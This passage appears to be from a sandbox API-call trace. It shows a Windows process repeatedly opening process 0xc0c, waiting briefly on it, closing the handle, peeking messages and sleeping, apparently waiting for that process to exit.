dwMilliseconds=0xa) returned 0x102 [0314.450] CloseHandle (hObject=0x5284) returned 1 [0314.450] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.450] Sleep (dwMilliseconds=0x1) [0314.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x52d0 [0314.465] WaitForSingleObject (hHandle=0x52d0, dwMilliseconds=0xa) returned 0x102 [0314.481] CloseHandle (hObject=0x52d0) returned 1 [0314.481] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.481] Sleep (dwMilliseconds=0x1) [0314.506] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x533c [0314.506] WaitForSingleObject (hHandle=0x533c, dwMilliseconds=0xa) returned 0x102 [0314.515] CloseHandle (hObject=0x533c) returned 1 [0314.515] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.515] Sleep (dwMilliseconds=0x1) [0314.528] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x537c [0314.528] WaitForSingleObject (hHandle=0x537c, dwMilliseconds=0xa) returned 0x102 [0314.545] CloseHandle (hObject=0x537c) returned 1 [0314.545] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.545] Sleep (dwMilliseconds=0x1) [0314.558] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x537c [0314.558] WaitForSingleObject (hHandle=0x537c, dwMilliseconds=0xa) returned 0x102 [0314.574] CloseHandle (hObject=0x537c) returned 1 [0314.574] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.574] Sleep (dwMilliseconds=0x1) [0314.590] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x537c [0314.590] WaitForSingleObject (hHandle=0x537c, dwMilliseconds=0xa) returned 0x102 [0314.606] CloseHandle (hObject=0x537c) returned 1 [0314.606] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.606] Sleep (dwMilliseconds=0x1) [0314.621] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x53b4 [0314.621] WaitForSingleObject (hHandle=0x53b4, dwMilliseconds=0xa) returned 0x102 [0314.637] CloseHandle (hObject=0x53b4) returned 1 [0314.637] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.637] Sleep (dwMilliseconds=0x1) [0314.654] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x53cc [0314.654] WaitForSingleObject (hHandle=0x53cc, dwMilliseconds=0xa) returned 0x102 [0314.665] CloseHandle (hObject=0x53cc) returned 1 [0314.665] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.665] Sleep (dwMilliseconds=0x1) [0314.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x53ec [0314.669] WaitForSingleObject (hHandle=0x53ec, dwMilliseconds=0xa) returned 0x102 [0314.683] CloseHandle (hObject=0x53ec) returned 1 [0314.684] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.684] Sleep (dwMilliseconds=0x1) [0314.691] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5414 [0314.691] WaitForSingleObject (hHandle=0x5414, dwMilliseconds=0xa) returned 0x102 [0314.715] CloseHandle (hObject=0x5414) returned 1 [0314.715] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.715] Sleep (dwMilliseconds=0x1) [0314.729] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x543c [0314.729] WaitForSingleObject (hHandle=0x543c, dwMilliseconds=0xa) returned 0x102 [0314.743] CloseHandle (hObject=0x543c) returned 1 [0314.743] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.743] Sleep (dwMilliseconds=0x1) [0314.758] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5458 [0314.758] WaitForSingleObject (hHandle=0x5458, dwMilliseconds=0xa) returned 0x102 [0314.783] CloseHandle (hObject=0x5458) returned 1 [0314.783] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.783] Sleep (dwMilliseconds=0x1) [0314.790] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5458 [0314.790] WaitForSingleObject (hHandle=0x5458, dwMilliseconds=0xa) returned 0x102 [0314.805] CloseHandle (hObject=0x5458) returned 1 [0314.805] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.805] Sleep (dwMilliseconds=0x1) [0314.823] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5468 [0314.823] WaitForSingleObject (hHandle=0x5468, dwMilliseconds=0xa) returned 0x102 [0314.836] CloseHandle (hObject=0x5468) returned 1 [0314.836] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.837] Sleep (dwMilliseconds=0x1) [0314.854] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5478 [0314.854] WaitForSingleObject (hHandle=0x5478, dwMilliseconds=0xa) returned 0x102 [0314.868] CloseHandle (hObject=0x5478) returned 1 [0314.868] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.868] Sleep (dwMilliseconds=0x1) [0314.883] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5478 [0314.883] WaitForSingleObject (hHandle=0x5478, dwMilliseconds=0xa) returned 0x102 [0314.899] CloseHandle (hObject=0x5478) returned 1 [0314.899] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.899] Sleep (dwMilliseconds=0x1) [0314.914] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5478 [0314.914] WaitForSingleObject (hHandle=0x5478, dwMilliseconds=0xa) returned 0x102 [0314.930] CloseHandle (hObject=0x5478) returned 1 [0314.930] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.930] Sleep (dwMilliseconds=0x1) [0314.956] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54a0 [0314.956] WaitForSingleObject (hHandle=0x54a0, dwMilliseconds=0xa) returned 0x102 [0314.962] CloseHandle (hObject=0x54a0) returned 1 [0314.962] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.962] Sleep (dwMilliseconds=0x1) [0314.978] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54d0 [0314.978] WaitForSingleObject (hHandle=0x54d0, dwMilliseconds=0xa) returned 0x102 [0314.994] CloseHandle (hObject=0x54d0) returned 1 [0314.994] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.994] Sleep (dwMilliseconds=0x1) [0315.009] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54e4 [0315.009] WaitForSingleObject (hHandle=0x54e4, dwMilliseconds=0xa) returned 0x102 [0315.024] CloseHandle (hObject=0x54e4) returned 1 [0315.024] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.024] Sleep (dwMilliseconds=0x1) [0315.041] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54e8 [0315.041] WaitForSingleObject (hHandle=0x54e8, dwMilliseconds=0xa) returned 0x102 [0315.066] CloseHandle (hObject=0x54e8) returned 1 [0315.066] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.066] Sleep (dwMilliseconds=0x1) [0315.071] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54e8 [0315.071] WaitForSingleObject (hHandle=0x54e8, dwMilliseconds=0xa) returned 0x102 [0315.086] CloseHandle (hObject=0x54e8) returned 1 [0315.086] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.095] Sleep (dwMilliseconds=0x1) [0315.102] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54e8 [0315.102] WaitForSingleObject (hHandle=0x54e8, dwMilliseconds=0xa) returned 0x102 [0315.118] CloseHandle (hObject=0x54e8) returned 1 [0315.118] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.118] Sleep (dwMilliseconds=0x1) [0315.133] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54f8 [0315.133] WaitForSingleObject (hHandle=0x54f8, dwMilliseconds=0xa) returned 0x102 [0315.149] CloseHandle (hObject=0x54f8) returned 1 [0315.149] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.149] Sleep (dwMilliseconds=0x1) [0315.165] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54f8 [0315.165] WaitForSingleObject (hHandle=0x54f8, dwMilliseconds=0xa) returned 0x102 [0315.182] CloseHandle (hObject=0x54f8) returned 1 [0315.182] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.182] Sleep (dwMilliseconds=0x1) [0315.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.200] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.211] CloseHandle (hObject=0x54fc) returned 1 [0315.211] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.211] Sleep (dwMilliseconds=0x1) [0315.227] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.227] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.243] CloseHandle (hObject=0x54fc) returned 1 [0315.243] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.243] Sleep (dwMilliseconds=0x1) [0315.258] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.259] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.274] CloseHandle (hObject=0x54fc) returned 1 [0315.274] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.274] Sleep (dwMilliseconds=0x1) [0315.289] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.289] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.305] CloseHandle (hObject=0x54fc) returned 1 [0315.305] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.305] Sleep (dwMilliseconds=0x1) [0315.321] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.321] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.336] CloseHandle (hObject=0x54fc) returned 1 [0315.336] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.336] Sleep (dwMilliseconds=0x1) [0315.354] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.354] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.368] CloseHandle (hObject=0x54fc) returned 1 [0315.369] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.369] Sleep (dwMilliseconds=0x1) [0315.383] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.383] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.399] CloseHandle (hObject=0x54fc) returned 1 [0315.399] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.399] Sleep (dwMilliseconds=0x1) [0315.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.414] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.430] CloseHandle (hObject=0x54fc) returned 1 [0315.430] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.430] Sleep (dwMilliseconds=0x1) [0315.446] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.446] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.461] CloseHandle (hObject=0x54fc) returned 1 [0315.462] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.462] Sleep (dwMilliseconds=0x1) [0315.477] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.477] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.493] CloseHandle (hObject=0x54fc) returned 1 [0315.493] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.493] Sleep (dwMilliseconds=0x1) [0315.508] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.508] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.524] CloseHandle (hObject=0x54fc) returned 1 [0315.524] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.524] Sleep (dwMilliseconds=0x1) [0315.539] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.539] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.555] CloseHandle (hObject=0x54fc) returned 1 [0315.555] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.555] Sleep (dwMilliseconds=0x1) [0315.571] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.571] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.586] CloseHandle (hObject=0x54fc) returned 1 [0315.586] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.586] Sleep (dwMilliseconds=0x1) [0315.602] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.602] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.618] CloseHandle (hObject=0x54fc) returned 1 [0315.618] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.618] Sleep (dwMilliseconds=0x1) [0315.633] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.633] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.649] CloseHandle (hObject=0x54fc) returned 1 [0315.649] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.649] Sleep (dwMilliseconds=0x1) [0315.664] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.664] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.680] CloseHandle (hObject=0x54fc) returned 1 [0315.680] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.680] Sleep (dwMilliseconds=0x1) [0315.696] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.696] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.712] CloseHandle (hObject=0x54fc) returned 1 [0315.712] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.712] Sleep (dwMilliseconds=0x1) [0315.727] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x54fc [0315.727] WaitForSingleObject (hHandle=0x54fc, dwMilliseconds=0xa) returned 0x102 [0315.743] CloseHandle (hObject=0x54fc) returned 1 [0315.743] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.743] Sleep (dwMilliseconds=0x1) [0315.759] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5508 [0315.759] WaitForSingleObject (hHandle=0x5508, dwMilliseconds=0xa) returned 0x102 [0315.770] CloseHandle (hObject=0x5508) returned 1 [0315.770] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.770] Sleep (dwMilliseconds=0x1) [0315.771] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5508 [0315.771] WaitForSingleObject (hHandle=0x5508, dwMilliseconds=0xa) returned 0x102 [0315.783] CloseHandle (hObject=0x5508) returned 1 [0315.783] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.783] Sleep (dwMilliseconds=0x1) [0315.784] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5508 [0315.784] WaitForSingleObject (hHandle=0x5508, dwMilliseconds=0xa) returned 0x102 [0315.804] CloseHandle (hObject=0x5508) returned 1 [0315.804] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.804] Sleep (dwMilliseconds=0x1) [0315.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5508 [0315.820] WaitForSingleObject (hHandle=0x5508, dwMilliseconds=0xa) returned 0x102 [0315.836] CloseHandle (hObject=0x5508) returned 1 [0315.836] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.836] Sleep (dwMilliseconds=0x1) [0315.851] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5508 [0315.851] WaitForSingleObject (hHandle=0x5508, dwMilliseconds=0xa) returned 0x102 [0315.867] CloseHandle (hObject=0x5508) returned 1 [0315.867] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.867] Sleep (dwMilliseconds=0x1) [0315.882] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5508 [0315.882] WaitForSingleObject (hHandle=0x5508, dwMilliseconds=0xa) returned 0x102 [0315.898] CloseHandle (hObject=0x5508) returned 1 [0315.898] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.898] Sleep (dwMilliseconds=0x1) [0315.914] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5508 [0315.914] WaitForSingleObject (hHandle=0x5508, dwMilliseconds=0xa) returned 0x102 [0315.924] CloseHandle (hObject=0x5508) returned 1 [0315.924] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.924] Sleep (dwMilliseconds=0x1) [0315.926] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5508 [0315.926] WaitForSingleObject (hHandle=0x5508, dwMilliseconds=0xa) returned 0x102 [0315.960] CloseHandle (hObject=0x5508) returned 1 [0315.960] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.960] Sleep (dwMilliseconds=0x1) [0315.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5508 [0315.966] WaitForSingleObject (hHandle=0x5508, dwMilliseconds=0xa) returned 0x102 [0315.982] CloseHandle (hObject=0x5508) returned 1 [0315.982] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0315.982] Sleep (dwMilliseconds=0x1) [0315.999] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5508 [0315.999] WaitForSingleObject (hHandle=0x5508, dwMilliseconds=0xa) returned 0x102 [0316.015] CloseHandle (hObject=0x5508) returned 1 [0316.015] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.015] Sleep (dwMilliseconds=0x1) [0316.032] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x552c [0316.032] WaitForSingleObject (hHandle=0x552c, dwMilliseconds=0xa) returned 0x102 [0316.044] CloseHandle (hObject=0x552c) returned 1 [0316.045] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.045] Sleep (dwMilliseconds=0x1) [0316.066] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x552c [0316.066] WaitForSingleObject (hHandle=0x552c, dwMilliseconds=0xa) returned 0x102 [0316.076] CloseHandle (hObject=0x552c) returned 1 [0316.076] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.076] Sleep (dwMilliseconds=0x1) [0316.092] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5548 [0316.092] WaitForSingleObject (hHandle=0x5548, dwMilliseconds=0xa) returned 0x102 [0316.124] CloseHandle (hObject=0x5548) returned 1 [0316.124] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.124] Sleep (dwMilliseconds=0x1) [0316.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5558 [0316.139] WaitForSingleObject (hHandle=0x5558, dwMilliseconds=0xa) returned 0x102 [0316.154] CloseHandle (hObject=0x5558) returned 1 [0316.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.154] Sleep (dwMilliseconds=0x1) [0316.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5558 [0316.170] WaitForSingleObject (hHandle=0x5558, dwMilliseconds=0xa) returned 0x102 [0316.193] CloseHandle (hObject=0x5558) returned 1 [0316.193] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0316.193] Sleep (dwMilliseconds=0x1) [0316.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5558 [0316.201] WaitForSingleObject (hHandle=0x5558, dwMilliseconds=0xa) returned 0x102 [0316.217] CloseHandle (hObject=0x5558) returned 1 [0316.217] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, 